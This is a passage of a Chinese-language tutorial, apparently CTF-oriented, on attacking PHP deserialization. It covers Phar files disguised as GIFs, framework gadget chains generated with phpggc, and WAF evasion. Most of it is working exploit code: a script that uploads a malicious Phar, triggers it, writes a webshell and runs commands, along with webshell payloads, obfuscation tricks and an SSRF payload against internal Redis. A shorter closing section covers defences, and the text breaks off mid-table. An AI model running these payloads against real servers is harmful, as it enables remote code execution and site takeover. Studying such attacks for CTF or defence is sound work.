PHP 的归档文件格式,类似 JAR
文件结构:stub(入口脚本)+ manifest(元数据)+ 内容 + 签名
关键特性:
Phar 的 manifest 以 PHP 序列化格式存储元数据(包括 metadata)
当 PHP 函数以 phar:// 流读取 Phar 文件时
会自动反序列化 manifest 中的 metadata!
触发条件:
① 存在文件操作函数(file_exists / is_file / fopen / include 等)
② 该函数的路径参数可控(能传入 phar://)
③ 服务器可以访问我们上传的 Phar 文件
危险函数(可触发 Phar 反序列化的文件操作函数):
file_exists() is_file() is_dir()
file_get_contents() file_put_contents()
fopen() readfile()
copy() rename()
unlink() fileatime()
highlight_file() show_source()
get_meta_tags() exif_read_data()
zip_open() imagecreatefromgif()
SimpleXMLElement()...
11.2 生成恶意 Phar 文件
<?php
// ── 生成恶意 Phar 文件 ──
class Evil {
public $cmd = "id";
public function __destruct() {
system($this->cmd);
}
}
// 生成 Phar 文件(需要 phar.readonly = Off)
// php.ini: phar.readonly = 0
// 或命令行:php -d phar.readonly=0 gen_phar.php
$phar = new Phar("evil.phar");
$phar->startBuffering();
// 设置 stub(入口)
$phar->setStub("<?php __HALT_COMPILER(); ?>");
// 关键:将恶意对象设置为 metadata
$evil = new Evil();
$evil->cmd = "cat /flag";
$phar->setMetadata($evil); // metadata 会被序列化存储!
// 添加一个空文件(Phar 要求至少有一个文件)
$phar->addFromString("dummy.txt", "content");
$phar->stopBuffering();
echo "[+] evil.phar 生成完毕\n";
echo "[+] 上传后使用:file_exists('phar://path/to/evil.phar/dummy.txt')\n";
#!/usr/bin/env python3
"""
Python 生成 Phar 文件
(避免依赖 PHP 环境)
"""
import struct, hashlib, base64
from io import BytesIO
def create_phar(serialized_metadata: bytes, filename: str = "evil.phar") -> bytes:
"""
创建包含恶意序列化 metadata 的 Phar 文件
Phar 文件结构:
[stub][manifest][files][signature][EOF marker]
"""
# Stub(入口脚本)
stub = b"<?php __HALT_COMPILER(); ?>\r\n"
# 准备文件内容
file_content = b"placeholder"
file_name = b"a.txt"
# 构造 manifest
# 文件 manifest entry
file_entry = (
struct.pack("<I", len(file_name)) + # 文件名长度
file_name + # 文件名
struct.pack("<I", len(file_content)) + # 未压缩大小
struct.pack("<I", 0) + # 时间戳
struct.pack("<I", len(file_content)) + # 压缩大小
struct.pack("<I", 0) + # 标志
struct.pack("<I", 0) # 元数据长度(文件级别)
)
manifest_body = (
struct.pack("<I", 1) + # 文件数量
struct.pack("<H", 0x11) + # API 版本
struct.pack("<I", 0) + # 全局标志
struct.pack("<I", 0) + # 别名长度
struct.pack("<I", len(serialized_metadata)) + # metadata 长度
serialized_metadata + # 序列化的 metadata
file_entry
)
manifest = struct.pack("<I", len(manifest_body)) + manifest_body
# 文件内容区
files = file_content
# 构造完整 Phar
body = stub + manifest + files
# SHA1 签名
sig = hashlib.sha1(body).digest()
sig_flags = struct.pack("<I", 0x0002) # SHA1
sig_magic = b"GBMB"
signature = sig + sig_flags + sig_magic
return body + signature
# 生成包含恶意类的 metadata
# 这里使用 PHP 序列化格式
evil_cmd = b"cat /flag"
class_name = b"Evil"
# O:4:"Evil":1:{s:3:"cmd";s:9:"cat /flag";}
serialized = (
b'O:' + str(len(class_name)).encode() + b':"' + class_name + b'":1:{'
+ b's:3:"cmd";s:' + str(len(evil_cmd)).encode() + b':"' + evil_cmd + b'";}'
)
phar_data = create_phar(serialized)
with open("evil.phar", "wb") as f:
f.write(phar_data)
print(f"[+] 生成 evil.phar ({len(phar_data)} bytes)")
print(f"[+] 使用:phar://evil.phar/a.txt")
11.3 Phar 文件伪装与绕过
<?php
// ── Phar 文件伪装为图片(绕过上传检测)──
// 在 Phar 文件头部添加图片文件头(GIF 魔术字节)
// PHP Phar 解析时会忽略文件头,直接寻找 __HALT_COMPILER();
// 生成:GIF 头 + PHP Phar 内容
$phar = new Phar("evil.gif"); // 伪装为 GIF
$phar->startBuffering();
// 添加 GIF 文件头
$phar->setStub("GIF89a" . "<?php __HALT_COMPILER(); ?>");
$phar->setMetadata(new Evil());
$phar->addFromString("a.txt", "");
$phar->stopBuffering();
// 生成的文件以 GIF89a 开头 → 通过 MIME 类型检测
// 但 phar:// 解析时正常工作
// ── 绕过 phar:// 过滤 ──
// 若代码过滤了 phar:// 前缀
// 可以使用其他触发方式:
// 方式一:compress.zlib:// 配合 Phar
// compress.zlib://phar://evil.phar/a.txt
// 方式二:compress.bzip2://
// compress.bzip2://phar://evil.phar/a.txt
// 方式三:php://filter 配合
// php://filter/resource=phar://evil.phar/a.txt
// 方式四:Zip 格式的 Phar(.zip 扩展名可通过某些检测)
// 有效的 Zip 文件同时也是有效的 Phar 文件
// phar://evil.zip/a.txt
// ── 绕过路径检查 ──
// 若代码检查路径不包含 phar://
// phar://./evil.phar/a.txt → 相对路径
// phar:///tmp/evil.phar/a.txt → 绝对路径
// phar://compress.zlib://... → 嵌套协议(某些版本)
11.4 Phar 反序列化完整利用链
<?php
// ── 漏洞代码(目标应用)──
class Logger {
public $logPath;
public $data;
public function __destruct() {
file_put_contents($this->logPath, $this->data); // 写文件
}
}
// 漏洞入口:文件操作函数参数可控
$filename = $_GET['file'];
if (file_exists($filename)) { // ← 触发 Phar 反序列化!
echo "文件存在";
}
#!/usr/bin/env python3
"""
完整 Phar 反序列化利用脚本
步骤:生成 Phar → 上传 → 触发
"""
import requests, base64, subprocess, os
TARGET = "http://target.com"
UPLOAD_URL = f"{TARGET}/upload.php"
EXPLOIT_URL = f"{TARGET}/check.php"
LOCAL_PHAR = "/tmp/evil.phar"
# 步骤 1:生成恶意 Phar
php_gen = r"""<?php
class Logger {
public $logPath = "/var/www/html/shell.php";
public $data = "<?php @system(\$_GET['c']); ?>";
}
$phar = new Phar("/tmp/evil.phar");
$phar->startBuffering();
$phar->setStub("GIF89a<?php __HALT_COMPILER(); ?>");
$phar->setMetadata(new Logger());
$phar->addFromString("a.txt", "");
$phar->stopBuffering();
echo "done";
"""
with open("/tmp/gen.php", "w") as f:
f.write(php_gen)
os.system("php -d phar.readonly=0 /tmp/gen.php")
print(f"[+] 生成 evil.phar")
# 步骤 2:上传 Phar(伪装为 GIF)
with open(LOCAL_PHAR, "rb") as f:
phar_data = f.read()
r = requests.post(
UPLOAD_URL,
files={"file": ("avatar.gif", phar_data, "image/gif")},
)
# 从响应中提取上传后的文件路径
upload_path = "/uploads/avatar.gif" # 根据实际情况调整
print(f"[+] 上传完成: {r.status_code}")
# 步骤 3:触发 Phar 反序列化
phar_url = f"phar://{upload_path}/a.txt"
r = requests.get(EXPLOIT_URL, params={"file": phar_url})
print(f"[+] 触发反序列化: {r.status_code}")
# 步骤 4:执行命令
r = requests.get(f"{TARGET}/shell.php", params={"c": "cat /flag"})
print(f"[+] 命令执行结果: {r.text}")
十二、原生类利用
12.1 SplStack / SplDoublyLinkedList
<?php
// ── SplDoublyLinkedList:在遍历时触发操作 ──
// SplDoublyLinkedList 序列化后反序列化
// 在某些操作(push/pop/遍历)时会触发内部元素的各种方法
// 创建含恶意对象的 SplStack
$stack = new SplDoublyLinkedList();
$stack->push(new Evil()); // 将恶意对象压入栈
// 当代码对反序列化的 SplDoublyLinkedList 进行遍历时
// 可能触发其中对象的各种魔术方法
// ── SplPriorityQueue ──
// 优先队列在 extract() 时比较元素,可触发 __toString 等
12.2 Exception / Error 作为跳板
<?php
// ── Exception::__toString 作为跳板 ──
// PHP 标准库 Exception 有 __toString 方法
// 格式:[异常类名]: [消息] in [文件]:[行号]\nStack trace:\n...
// 利用场景:
// 某代码将反序列化后的对象进行字符串拼接
// $str = "Result: " . $obj; // 若 $obj 是 Exception 实例
// → 触发 Exception::__toString
// → 输出包含文件路径等信息(信息泄露)
// → 更重要:Exception 可作为链中触发 __toString 的对象
class EvilException extends Exception {
public function __toString() {
system($this->message); // RCE!
return "";
}
}
// 若目标代码:
// echo $unserialized_obj; // 触发 __toString
// → 发送:O:13:"EvilException":1:{s:10:"*message";s:2:"id";}
// (message 是 protected 属性,需要 \x00*\x00 前缀)
12.3 Closure(闭包)与 __invoke
<?php
// ── 利用已有的 Closure/匿名函数 ──
// 注意:PHP 的 Closure 不能直接序列化
// 但某些框架(如 Laravel)提供了可序列化的 Closure 封装
// ── 原生 __invoke 触发 ──
// 寻找含有危险 __invoke 的类
class CodeRunner {
public $code;
public function __invoke() {
eval($this->code); // RCE!
}
}
// 触发条件:反序列化后的对象被当作函数调用
// $fn = unserialize($data);
// $fn("arg"); // 若 $fn 是 CodeRunner 实例 → 触发 __invoke
// 或者通过 call_user_func:
// call_user_func($fn, "arg"); // 同样触发 __invoke
十三、PHP 伪协议配合
13.1 常用伪协议速查
| 协议 |
用途 |
示例 |
php://filter |
读取/处理文件 |
php://filter/convert.base64-encode/resource=flag.php |
php://input |
读取 POST body |
include("php://input") + POST WebShell |
php://memory |
内存读写 |
file_put_contents("php://memory", data) |
data:// |
行内数据 |
data://text/plain,<?php system('id')?> |
phar:// |
Phar 归档 |
phar://evil.phar/a.txt |
zip:// |
Zip 归档 |
zip:///tmp/evil.zip#shell.php |
file:// |
本地文件 |
file:///etc/passwd |
compress.zlib:// |
压缩流 |
compress.zlib://php://filter/... |
13.2 与反序列化结合
<?php
// ── 场景一:file_get_contents + phar:// ──
class Config {
public $configFile;
public function __wakeup() {
$content = file_get_contents($this->configFile); // ← 触发 Phar
parse_ini_string($content);
}
}
// Payload:configFile = "phar:///tmp/evil.phar/a.txt"
// ── 场景二:include + phar:// ──
class Template {
public $file;
public function render() {
include $this->file; // ← include phar:// 触发反序列化
}
}
// ── 场景三:imagecreatefromgif + phar:// ──
// 某些图片处理函数也支持 phar:// 流
// imagecreatefromgif("phar://evil.gif/a.txt") // 触发反序列化
// ── 场景四:SplFileInfo + phar:// ──
$info = new SplFileInfo("phar://evil.phar/a.txt");
$info->getExtension(); // 访问 phar:// 路径时触发反序列化
十四、Laravel 反序列化
14.1 Laravel 反序列化利用链概述
Laravel 框架包含大量可用 Gadget 类
通过 phpggc 工具可以自动生成多种利用链
常见利用链:
Laravel/RCE1 - 基于 pendingBroadcast + BusDispatcher
Laravel/RCE2 - 基于 PendingChain + Container
Laravel/RCE3 - 基于 MockeryMatcher
Laravel/RCE4 - 基于 Helpers
Laravel/RCE5 - 适用于不同 Laravel 版本
Laravel/RCE6 - 基于 Illuminate\Broadcasting
Laravel/RCE7 - 基于更新版本
Laravel/RCE8 - 最新链
Laravel/RCE9 - PHP 8 兼容链
查看可用链:
phpggc -l Laravel
14.2 使用 phpggc 生成 Payload
# ── 安装 phpggc ──
git clone https://github.com/ambionics/phpggc.git
cd phpggc
# ── 列出所有可用链 ──
./phpggc -l # 所有框架
./phpggc -l Laravel # 仅 Laravel
# ── 生成 Laravel RCE 链 ──
# 基本用法
./phpggc Laravel/RCE1 system id
./phpggc Laravel/RCE1 exec "id > /tmp/pwned"
# 生成 Base64 编码的 Payload
./phpggc Laravel/RCE1 system id -b
./phpggc Laravel/RCE1 system "cat /flag" -b
# 生成 URL 编码
./phpggc Laravel/RCE1 system id -u
# 生成 Base64 + URL 编码(双重编码,适用于 GET 参数)
./phpggc Laravel/RCE1 system id -b -u
# 生成并保存到文件
./phpggc Laravel/RCE1 system id -o /tmp/payload.bin
# 指定目标版本(某些链仅适用特定版本)
./phpggc Laravel/RCE8 system "cat /flag" --version 9.0
# ── 生成 Phar 文件 ──
./phpggc Laravel/RCE1 system id --phar phar -o evil.phar
# ── 生成 JSON Payload(某些框架 JSON 解码后反序列化)──
./phpggc Laravel/RCE1 system id --json
14.3 Laravel 反序列化漏洞入口
<?php
// ── Laravel 中常见的反序列化入口 ──
// 1. Cookie 解密后反序列化
// Laravel 的 Cookie 加密后包含序列化数据
// 若能伪造/修改 Cookie → 反序列化 RCE
// 2. Redis Session 驱动
// config/session.php: 'driver' => 'redis'
// Redis 存储的 session 数据是序列化的
// 若能写入 Redis → 控制 session → 反序列化
// 3. Memcached 缓存
// Cache::get() → unserialize()
// 若能控制缓存内容 → 反序列化
// 4. queue jobs(队列作业)
// 序列化的 Job 对象存储在队列中
// 若能注入恶意 Job → 反序列化
// ── Laravel Cookie 伪造 ──
// Laravel Cookie 格式(旧版):
// base64(encrypt(serialize(data)))
// 若获取了 APP_KEY → 可以生成合法 Cookie
#!/usr/bin/env python3
"""
Laravel Cookie 反序列化利用
(需要 APP_KEY)
"""
import subprocess, base64, requests, json
TARGET = "http://target.com"
APP_KEY = "base64:xxxxxxxxxxxxxxxxxxxxxxxxxxx=" # 从 .env 文件泄露
def generate_laravel_payload(cmd: str) -> str:
"""使用 phpggc 生成 Laravel 反序列化 Payload"""
result = subprocess.run(
["php", "phpggc/phpggc", "Laravel/RCE1", "system", cmd, "-b"],
capture_output=True, text=True
)
return result.stdout.strip()
def forge_laravel_cookie(serialized: str, app_key: str) -> str:
"""伪造 Laravel 加密 Cookie(简化版,实际需要完整加密)"""
# 实际实现需要:
# 1. 使用 app_key 进行 AES-256-CBC 加密
# 2. 生成 HMAC-SHA256 MAC
# 3. 按 Laravel 格式组装
pass
# 使用 phpggc 生成
payload = generate_laravel_payload("cat /flag")
print(f"[+] Payload: {payload[:80]}...")
# 发送请求(直接发序列化到可控的反序列化入口)
r = requests.post(
f"{TARGET}/vulnerable-endpoint",
data={"data": payload},
)
print(f"[+] 响应: {r.text[:200]}")
十五、ThinkPHP 反序列化
15.1 ThinkPHP 利用链
# ── ThinkPHP 可用链(phpggc)──
./phpggc -l ThinkPHP
# ThinkPHP/RCE1 - 5.1.x
./phpggc ThinkPHP/RCE1 system "id" -b
# ThinkPHP/RCE2 - 5.0.x/5.1.x
./phpggc ThinkPHP/RCE2 exec "id > /tmp/pwned" -b
# ThinkPHP/RCE3 - 6.0.x
./phpggc ThinkPHP/RCE3 system "cat /flag" -b
15.2 ThinkPHP 5.x POP 链手动构造
<?php
// ── ThinkPHP 5.x 反序列化 POP 链 ──
// 链:Windows.__destruct
// → Pivot.call
// → Request.__call
// → FilterIterator (call_user_func)
// → system/exec
// 简化的链构造(实际链更复杂,依赖框架源码)
namespace think\process\pipes {
class Windows {
private $files = [];
public function __construct($file) {
$this->files = [$file];
}
}
}
namespace think {
class Model {
protected $append = [];
protected $data = [];
// 省略复杂的中间层...
}
}
// 实际利用建议直接使用 phpggc 生成,或参考以下知名 PoC 仓库:
// https://github.com/ambionics/phpggc
十六、Yii2 反序列化
16.1 Yii2 利用链
# ── Yii2 可用链(phpggc)──
./phpggc -l Yii
# Yii/RCE1 - 2.0.x
./phpggc Yii/RCE1 system "id" -b
# Yii/RCE2 - 2.0.x
./phpggc Yii/RCE2 exec "cat /flag" -b
16.2 Yii2 POP 链分析
<?php
// ── Yii2 反序列化链:BatchQueryResult ──
// 链:BatchQueryResult.__destruct
// → DataReader.close()
// → PDOStatement(或其他可利用的对象)
// → 最终 RCE
// ── 简化的 Payload 构造 ──
namespace yii\db {
class BatchQueryResult {
private $_dataReader;
public function __construct($reader) {
$this->_dataReader = $reader;
}
// __destruct 调用 $this->_dataReader->close()
}
}
// 实际利用使用 phpggc:
// ./phpggc Yii/RCE1 system "cat /flag" -b
十七、WAF 绕过技巧
17.1 序列化字符串混淆
<?php
// ── 技巧一:字符串大小写(类名不区分大小写)──
// PHP 类名在反序列化时不区分大小写(部分版本)
// O:4:"user":1:{...} 与 O:4:"User":1:{...} 等效(取决于类名定义)
// 但属性名区分大小写!
// ── 技巧二:空字节(\x00)利用 ──
// protected/private 属性的键名包含 \x00
// 某些 WAF 对包含 \x00 的字符串处理不当
// ── 技巧三:Unicode 编码(仅对 JSON 格式有效)──
// 若序列化数据以 JSON 形式传输:
// {"__class":"Evil","cmd":"id"}
// → Unicode 编码类名:{"\u005f\u005f\u0063\u006c\u0061\u0073\u0073":"Evil"}
// ── 技巧四:嵌套编码 ──
// Base64 + URL 编码 + 自定义编码
$payload = base64_encode(serialize($evil));
$payload = urlencode($payload); // 双重编码
// ── 技巧五:利用引用使 WAF 误判 ──
// 某些 WAF 按关键字检测(如 "system", "eval")
// 通过引用将危险字符串存储在别处
// 然后 R:n 引用(但注意:序列化中的引用不能跨越属性值)
17.2 关键字拆分绕过
#!/usr/bin/env python3
"""
PHP 序列化 WAF 绕过:关键字拆分
某些 WAF 检测序列化字符串中的危险关键字
通过字符串拼接/变量等方式绕过
"""
import base64
# ── 场景:WAF 检测 "system" 关键字 ──
# 绕过一:使用等效函数(不含被过滤的关键字)
# system → passthru, exec, shell_exec, popen, proc_open
# eval → assert(PHP < 7.x), preg_replace /e
# 绕过二:通过变量拼接(需要代码能执行 PHP 逻辑)
# 在 __invoke 或 __destruct 中:
# $func = "sys" . "tem"; $func("id"); → 运行时拼接,WAF 无法检测
# 绕过三:base64 编码的命令(在 base64_decode + eval 场景)
# base64 编码 "<?php system($_GET['cmd']); ?>"
webshell_b64 = base64.b64encode(b"<?php system($_GET['cmd']); ?>").decode()
# 使用:eval(base64_decode("..."))
# 绕过四:chr() 函数拼接(需要 eval)
def str_to_chr(s):
return ".".join(f"chr({ord(c)})" for c in s)
print(str_to_chr("system")) # chr(115).chr(121).chr(115).chr(116).chr(101).chr(109)
# 绕过五:十六进制字符串
def str_to_hex(s):
return "\\x" + "\\x".join(f"{ord(c):02x}" for c in s)
print(str_to_hex("system")) # \x73\x79\x73\x74\x65\x6d
//需将示意字符串的s改为大写S时,其值会解析 16 进制数据
例如:O:4:"Test":1:{s:3:"cmd";s:6:"whoami";}
可改为:O:4:"Test":1:{S:3:"\63md";S:6:"\77hoami";}
17.3 绕过长度限制
<?php
// ── 场景:反序列化输入有长度限制 ──
// 技巧一:压缩 Payload
// gzcompress → unserialize 不支持直接,但结合 php://filter 可实现
// 技巧二:精简 Payload(减少属性名长度)
// 若可控源码,将长属性名改为单字母
// 技巧三:利用短类名
// O:1:"A":1:{...} 比 O:10:"Controller":1:{...} 短得多
// 技巧四:使用 r:n 对象引用减少重复
// 若 Payload 中有重复的对象引用,使用 r:n 代替完整序列化
// 技巧五:Base64 不同变体
// 某些长度限制是对 Base64 解码前的原始字符串
// 标准 Base64 / URL-safe Base64 / 去除填充 =
17.4 PHP 版本兼容性处理
#!/usr/bin/env python3
"""
生成多版本兼容的 PHP 反序列化 Payload
"""
import subprocess, sys
def phpggc_gen(chain: str, func: str, cmd: str,
encode: str = "-b") -> str:
"""
使用 phpggc 生成 Payload
encode: "-b"(base64), "-u"(url), "-j"(json), ""(raw)
"""
args = ["php", "./phpggc/phpggc"] + chain.split() + [func, cmd]
if encode:
args.append(encode)
result = subprocess.run(args, capture_output=True, text=True)
if result.returncode != 0:
print(f"错误: {result.stderr}", file=sys.stderr)
return ""
return result.stdout.strip()
# 生成多条链的 Payload(用于爆破)
CHAINS = [
("Laravel/RCE1", "system"),
("Laravel/RCE2", "system"),
("Laravel/RCE3", "system"),
("Laravel/RCE4", "system"),
("Laravel/RCE8", "system"),
("ThinkPHP/RCE1", "system"),
("ThinkPHP/RCE2", "system"),
("Yii/RCE1", "system"),
("Yii/RCE2", "system"),
]
CMD = "cat /flag"
payloads = {}
for chain, func in CHAINS:
p = phpggc_gen(chain, func, CMD)
if p:
payloads[chain] = p
print(f"[+] {chain}: {p[:60]}...")
print(f"\n[*] 共生成 {len(payloads)} 个 Payload")
十八、CTF 实战解题思路
18.1 解题决策树
发现反序列化漏洞入口
│
├── 确认入口类型
│ ├── 直接 unserialize($input) → 标准 PHP 反序列化
│ ├── Cookie/Session 中 base64 编码数据 → 解码分析格式
│ ├── 文件操作路径可控 → 考虑 Phar 反序列化
│ └── Session 处理器不一致 → Session 反序列化
│
├── 收集可用类信息
│ ├── 查看源码(CTF 通常提供)→ 分析类和魔术方法
│ ├── 错误信息泄露 → 获取类名/框架信息
│ ├── 发现 composer.json/package.json → 框架版本 → phpggc
│ └── phpinfo() 泄露 → PHP 版本/已加载扩展
│
├── 分析 __wakeup 是否需要绕过
│ ├── 存在 __wakeup 且包含清空/阻断操作
│ ├── PHP 版本 < 5.6.25 或 7.0.x < 7.0.10
│ └── → 将属性计数 +1 绕过(CVE-2016-7124)
│
├── 构造 POP 链
│ ├── 从危险函数向上追溯(sink → source)
│ ├── 找链头(__destruct / __wakeup)
│ ├── 组装中间跳板(__toString / __invoke / __get / __call)
│ └── 设置所有属性值
│
└── 生成 Payload
├── PHP 脚本序列化 → base64 编码
├── Python 手动构造(含 \x00 特殊字节时需注意)
└── phpggc 生成(框架漏洞)
18.2 常见 CTF 题型与解法
<?php
// ══ 题型一:简单单类利用 ══
// 只有一个类,魔术方法直接包含危险操作
class Flag {
public $cmd;
public function __destruct() {
eval($this->cmd);
}
}
// Payload
$f = new Flag();
$f->cmd = "system('cat /flag');";
echo base64_encode(serialize($f));
// ══ 题型二:多类 POP 链 ══
// 需要通过多个类的魔术方法跳转
// 分析链:A.__destruct → B.__toString → C.exec()
// 构造:
$c = new C(); $c->command = "cat /flag";
$b = new B(); $b->obj = $c;
$a = new A(); $a->target = $b;
echo base64_encode(serialize($a));
// ══ 题型三:__wakeup 绕过 ══
// 存在 __wakeup 安全检查,需要 CVE-2016-7124
$payload = serialize($obj);
// 修改属性计数(1 → 2)
$payload = preg_replace('/O:(\d+):"([^"]+)":(\d+):/',
'O:$1:"$2":%d:', $payload);
// 使用 Python 脚本自动处理更可靠
// ══ 题型四:字符串逃逸 ══
// 序列化前有 str_replace 过滤,导致长度变化
// → 精心构造注入字符串,逃逸后续属性
// ══ 题型五:Phar 文件 ══
// 存在文件上传 + 文件操作(file_exists 等路径可控)
// → 生成恶意 Phar → 上传 → phar:// 触发
// ══ 题型六:Session 反序列化 ══
// 找两个接口:写 session(php_serialize)+ 读 session(php 格式)
// → 在写入时注入 |<序列化Payload>
// ══ 题型七:SoapClient SSRF ══
// 目标内网有其他服务(如 Redis / FastCGI)
// 利用 SoapClient 反序列化 → SSRF → 攻击内网
18.3 快速调试与验证脚本
#!/usr/bin/env python3
"""
PHP 反序列化 CTF 通用测试脚本
"""
import requests, base64, re, sys, argparse
def send_payload(url: str, param: str, payload: bytes,
method: str = "GET", cookies: dict = None) -> str:
"""发送 Payload 并返回响应"""
encoded = base64.b64encode(payload).decode()
params = {param: encoded}
cookies = cookies or {}
if method.upper() == "GET":
r = requests.get(url, params=params, cookies=cookies, timeout=10)
else:
r = requests.post(url, data=params, cookies=cookies, timeout=10)
return r.text
def wakeup_bypass(serialized: bytes) -> bytes:
"""CVE-2016-7124 绕过:将属性计数 +1"""
import re
pattern = rb'(O:\d+:"[^"]+":)(\d+):'
def inc(m):
return m.group(1) + str(int(m.group(2)) + 1).encode() + b':'
return re.sub(pattern, inc, serialized, count=1)
def test_deserialization(url: str, param: str, payload_b64: str):
"""测试反序列化 Payload"""
payload = base64.b64decode(payload_b64)
# 测试 1:原始 Payload
print("[*] 测试原始 Payload...")
r = send_payload(url, param, payload)
print(f" 响应 ({len(r)} bytes): {r[:200]}")
# 测试 2:__wakeup 绕过
bypassed = wakeup_bypass(payload)
if bypassed != payload:
print("[*] 测试 __wakeup 绕过 Payload...")
r = send_payload(url, param, bypassed)
print(f" 响应 ({len(r)} bytes): {r[:200]}")
# 使用 phpggc 生成 Payload 后测试
if __name__ == "__main__":
parser = argparse.ArgumentParser()
parser.add_argument("url")
parser.add_argument("param")
parser.add_argument("payload") # base64 编码的序列化 Payload
args = parser.parse_args()
test_deserialization(args.url, args.param, args.payload)
18.4 Payload 速查
<?php
// ── 读取 flag(系统命令)──
// 调用 system()
class Evil { public $cmd; public function __destruct() { system($this->cmd); } }
$e = new Evil(); $e->cmd = "cat /flag"; echo base64_encode(serialize($e));
// ── 写入 WebShell ──
class Shell { public $f; public $c; public function __destruct() { file_put_contents($this->f, $this->c); } }
$s = new Shell(); $s->f = "/var/www/html/s.php"; $s->c = "<?php @eval(\$_POST[1]);?>";
echo base64_encode(serialize($s));
// ── 读取文件(file_get_contents)──
class Reader { public $f; public function __destruct() { echo file_get_contents($this->f); } }
$r = new Reader(); $r->f = "/flag"; echo base64_encode(serialize($r));
// ── eval 执行 ──
class Eval_ { public $c; public function __destruct() { eval($this->c); } }
$e = new Eval_(); $e->c = "system('cat /flag');"; echo base64_encode(serialize($e));
// ── SoapClient SSRF(内置类)──
$sc = new SoapClient(null, ['uri'=>'http://attacker.com','location'=>'http://127.0.0.1:6379/']);
echo base64_encode(serialize($sc));
十九、防御措施
19.1 代码层面防御
<?php
// ── 方案一:避免对用户输入直接反序列化 ──
// ❌ 危险
$obj = unserialize($_GET['data']);
$obj = unserialize(base64_decode($_COOKIE['user']));
// ✅ 安全:使用 JSON 代替序列化
$obj = json_decode($_GET['data']); // JSON 不会触发魔术方法
// ── 方案二:限制允许的类(PHP 7.0+)──
// ❌ 不安全:允许所有类
$obj = unserialize($data);
// ✅ 安全:白名单限制
$obj = unserialize($data, ['allowed_classes' => ['UserProfile', 'Config']]);
// 只有 UserProfile 和 Config 类可以被反序列化
// ✅ 最安全:不允许任何类(只反序列化基本类型)
$data = unserialize($input, ['allowed_classes' => false]);
// 所有对象变为 __PHP_Incomplete_Class,不触发任何魔术方法
// ── 方案三:完整性验证(签名/HMAC)──
// ❌ 不验证来源
$obj = unserialize(base64_decode($input));
// ✅ 使用 HMAC 签名验证
function safe_unserialize(string $data, string $key): mixed {
if (!str_contains($data, ':')) return null;
[$hmac, $payload] = explode(':', $data, 2);
$expected = hash_hmac('sha256', $payload, $key);
if (!hash_equals($expected, $hmac)) {
throw new Exception('序列化数据篡改检测!');
}
return unserialize(
base64_decode($payload),
['allowed_classes' => false] // 额外限制
);
}
function safe_serialize(mixed $data, string $key): string {
$payload = base64_encode(serialize($data));
$hmac = hash_hmac('sha256', $payload, $key);
return $hmac . ':' . $payload;
}
19.2 架构层面防御
① 使用安全的替代方案
优先使用 JSON(json_encode/json_decode)
JSON 不触发 PHP 魔术方法,天然安全
需要序列化对象时:使用自定义的安全序列化库
或仅序列化基本类型(string/int/bool/array)
② 危险魔术方法审查
定期检查代码中的魔术方法(__destruct/__wakeup/__toString 等)
确保其中不包含可利用的危险操作(system/eval/file_put_contents 等)
若必须有危险操作,添加充分的输入验证
③ 文件系统保护
上传目录禁止执行权限(禁止 .php 文件执行)
使用 phar.readonly = On 禁止创建 Phar 文件
禁止 Web 目录的直接 Phar 访问
④ Phar 防护
php.ini: phar.readonly = On(防止创建 Phar)
禁止不必要的文件操作函数接受用户输入
验证文件路径时检查协议头(phar:// / zip:// 等)
⑤ WAF 规则
检测序列化字符串中的危险类名
检测 O: 开头的 base64 编码字符串
检测 phar:// 协议头(GET/POST/Cookie/HTTP 头)
⑥ 使用白名单允许的类
unserialize($data, ['allowed_classes' => $whitelist])
或升级到 PHP 8.x(更完善的反序列化控制)
19.3 防御检查清单
代码审查:
✅ 搜索所有 unserialize() 调用,确认参数来源
✅ Cookie/Session 中的序列化数据使用 HMAC 签名验证
✅ 审查所有 __destruct / __wakeup / __toString 中是否有危险操作
✅ 文件操作函数(file_exists/fopen 等)的路径参数不接受 phar://
✅ 上传文件的内容不经过反序列化处理
配置加固:
✅ phar.readonly = On(php.ini)
✅ 上传目录:禁止 .php/.phar 文件执行
✅ session.serialize_handler 统一(写入和读取使用相同处理器)
✅ 使用 open_basedir 限制文件访问范围
框架安全:
✅ 及时更新框架版本(Laravel/ThinkPHP/Yii 等的已知链已被修复)
✅ 使用 composer 的 security advisor 定期检查依赖漏洞
✅ Queue/Cache 中的序列化数据验证来源完整性
✅ Redis/Memcached 加访问控制(不暴露到公网)
监控与应急:
✅ 记录所有反序列化操作(含输入数据)
✅ 监控异常的文件创建(尤其是 .php 文件)
✅ 定期检查 Web 目录中的新增 PHP 文件
✅ 使用文件完整性监控(AIDE/Tripwire)
附录
A. 魔术方法触发速查
unserialize() 调用:
→ 先调用 __wakeup()(若存在且未被 CVE-2016-7124 绕过)
→ 脚本结束时 → __destruct()
字符串上下文(echo/print/. 拼接/in_array 等):
→ __toString()
被当作函数调用($obj() / call_user_func($obj)):
→ __invoke()
访问不存在/不可访问属性($obj->prop):
→ __get($name)
设置不存在/不可访问属性($obj->prop = val):
→ __set($name, $value)
调用不存在/不可访问方法($obj->method()):
→ __call($name, $args)
isset($obj->prop) / empty($obj->prop):
→ __isset($name)
unset($obj->prop):
→ __unset($name)
B. phpggc 常用命令速查
# 列出所有可用链
./phpggc -l
# 列出特定框架的链
./phpggc -l Laravel
./phpggc -l ThinkPHP
./phpggc -l Yii
./phpggc -l Symfony
./phpggc -l WordPress
./phpggc -l Drupal
# 生成 Payload(base64 编码)
./phpggc <Chain> <function> <argument> -b
# 生成 Payload(URL 编码)
./phpggc <Chain> <function> <argument> -u
# 生成 Payload(原始二进制)
./phpggc <Chain> <function> <argument> -o output.bin
# 生成 Phar 文件
./phpggc <Chain> <function> <argument> --phar phar -o evil.phar
# 生成并包装(base64 + URL 双编码)
./phpggc <Chain> <function> <argument> -b -u
# 常用示例
./phpggc Laravel/RCE1 system "cat /flag" -b
./phpggc Laravel/RCE8 system "cat /flag" -b
./phpggc ThinkPHP/RCE1 system "cat /flag" -b
./phpggc ThinkPHP/RCE3 system "cat /flag" -b
./phpggc Yii/RCE1 system "cat /flag" -b
./phpggc Symfony/RCE1 system "cat /flag" -b
./phpggc WordPress/RCE1 system "cat /flag" -b
# 生成写 WebShell 的 Payload
./phpggc Laravel/RCE1 file_put_contents "/var/www/html/s.php" "<?php @eval(\$_POST[1]);?>" -b
C. CVE 速查
| CVE |
PHP 版本 |
描述 |
影响 |
| CVE-2016-7124 |
5.x<5.6.25, 7.x<7.0.10 |
__wakeup 属性数不一致绕过 |
绕过 __wakeup 安全检查 |
| CVE-2019-11043 |
7.1.x<7.1.33, 7.2.x<7.2.24, 7.3.x<7.3.11 |
PHP-FPM 环境变量注入 |
RCE |
| CVE-2020-7064 |
<7.2.29, <7.3.16 |
